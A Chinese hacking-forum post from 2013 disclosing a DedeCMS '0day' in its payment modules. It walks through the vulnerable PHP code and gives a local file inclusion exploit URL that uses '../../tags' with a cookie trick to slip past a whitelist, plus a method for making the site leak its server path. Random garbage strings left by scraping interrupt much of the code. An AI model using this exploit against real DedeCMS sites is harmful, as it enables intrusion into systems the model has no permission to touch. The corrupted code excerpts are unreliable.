找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2052|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
8 p5 Z. F6 P6 ~* S8 a2 _1 U
3 E* A& b: g& j8 i4 m  ?6 k. C出现漏洞的两个文件为:
  Z, P2 n5 [' t% w9 |  ?# a6 lInclude/payment/alipay.php
' j0 j) W5 q  x$ Y' j8 OInclude/payment/yeepay.php
$ ~* i" s% v7 z$ I漏洞均出现在respond方法里,估计这两个文件是临时工写的。
- H) |, V/ n, n, h* B( n& K  D& m! ?! F$ M2 |2 o
Include/payment/alipay.php' ?* R  C8 z6 r- @
3 F: m( P& K8 T4 Y) A1 P
......; D* ^- k, O! b9 }5 d5 A
   function respond()
4 P2 y9 E; `2 u  r. Z    {
6 ~+ J8 x& g: f' w7 G9 v- K        if (!empty($_POST))
9 q2 \1 a. i7 r        {
5 @% v$ b, n" Z9 ]% A5 J- o            foreach($_POST as $key => $data)  h$ X' u+ N6 f8 t
            {; B* T1 s6 u# n$ g& G, Y; u& {2 _0 r# s
                $_GET[$key] = $data;
6 n$ W7 Y' M$ l2 Q* x3 ]: l            }
! G  C; e( X4 |        }
3 Y' V0 E2 h' E: [9 S        /* 引入配置文件 */
- }0 f9 M( i6 H5 W4 j        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
) O0 A$ R' D/ C" i+ C3 q( i......
) [( V5 X) Y7 [6 t! N/ K# H
; h5 ~# W2 ]  ?2 v0 P2 K6 A% G% [  P
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。9 }, ~! i& j# c! v7 }
, Y8 b  T  I. q" o9 p
Include/payment/yeepay.php6 W& |! S( P- R+ e8 ?5 Y& W

9 G% R6 {  H0 ^% S
" X2 M& P! P/ p' Q
6 k- T' W2 F; [1 X2 U  H; z- h; Z6 X......  R0 W+ ^& ]( @5 S* V7 N
    function respond()  j4 c2 z! Z3 Q8 o" n; _5 y) ^
    {
) l- l: a4 P) N( m5 O+ n  S* l1 T. l 9 M; ^  F$ g9 `' N& I: q
        /* 引入配置文件 */' y7 k# N; R! Y- d6 u: k( \
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';9 f; ]" ]; P4 F; H* {7 _9 O
6 K% ~+ o8 V: c1 _5 k+ l! a+ k
        $p1_MerId = trim($payment['yp_account']);  m4 l7 H0 X8 Q' v6 |9 G6 ^6 J
        $merchantKey = trim($payment['yp_key']);8 [# |& d( ?7 t. a; _' }7 e9 j
......
0 |, B4 c8 r7 ^7 z5 r
* r2 J1 R$ k5 g" C! V" k8 T2 I) w

6 i* A! t8 g! z
& M' P1 E. ?2 ^! {; x大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。' A, ?5 w" M' X, i
2 H* h, N$ O4 `' K
这两个方法在plus/carbuyaction.php文件调用。0 Y( V- v: W/ l, C5 }

( i9 i. t  }* v; a0 e, W9 Bplus/carbuyaction.php
9 [& A  v3 s" r3 C/ W: [
% l# s; C( L0 ^/ _......  m# e$ U- \3 f0 U0 @, g' t
} else if ($dopost == 'return') {" {7 d7 V* T9 E; d! x& A5 q
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');. k$ m8 P4 Q$ j9 h! T
    if (in_array($code, $write_list))
/ L9 Z, @5 I+ G8 N    {
) x( D0 t/ S. @        require_once DEDEINC.'/payment/'.$code.'.php';. g4 t3 e/ Q# j! H
        $pay = new $code;) Q% Z& a  s/ d, y' A: ]0 I, j- F
        $msg=$pay->respond();
+ G0 a( J0 x! Y: n        ShowMsg($msg, "javascript:;", 0, 3000);
* T, Y  Z3 D5 b        exit();  9 ]. s; f2 ?  }7 z: E
    } else {9 W4 R0 t4 N2 K4 `7 X9 _
        exit('Error:File Type Can\'t Recognized!');
9 y0 f' g' q4 ~' o$ ]    }
5 g$ m8 q8 I, m  q}) K9 F1 I* ^) |6 \2 `/ P( m
......
7 A4 d$ K+ }. L2 i
" [  k1 U- j2 I6 M7 X6 U
5 I- ^0 U" D% t& |  |( V' T3 ]5 P - v5 z6 n( h6 d( I

  Y+ u0 N! h: }" Q/ ^7 x/ [ / h! ]7 x5 t% }( |: x: S. |

3 J$ o6 M: N( ?7 d& a4 O6 A大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。8 Y% n* N# Q% W
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
" a8 ?- C- ]  ~# ~/ J
, F& r  C0 ~5 t. I回到include/common.inc.php来看看他的机制。1 j9 H2 g* Q- R

& i, F; V" M% p: c4 Y
8 I4 y7 ]9 n; p! d; O+ ~0 t
) ^1 |" \4 a" Q2 s6 ~......
1 h; m' b% B9 M1 Iforeach(Array('_GET','_POST','_COOKIE') as $_request)+ A/ @( N( J- |3 z
{: D1 G5 V; t# j- F
        foreach($$_request as $_k => $_v)
/ }: M7 ^1 Z& P2 ~3 e% W: X        {5 T) `; D, w) R3 M. T! |' b
                if($_k == 'nvarname') ${$_k} = $_v;, H$ e( q& v% |( v# ^
                else ${$_k} = _RunMagicQuotes($_v);
: w9 L% W9 X) k) w5 y4 t        }
5 t1 {4 u) S" D- d$ R! F& F* d}9 ]( q6 ]) I- ^
...... : H' c6 c0 d3 Z
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:, ]2 b6 d! O% ]
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表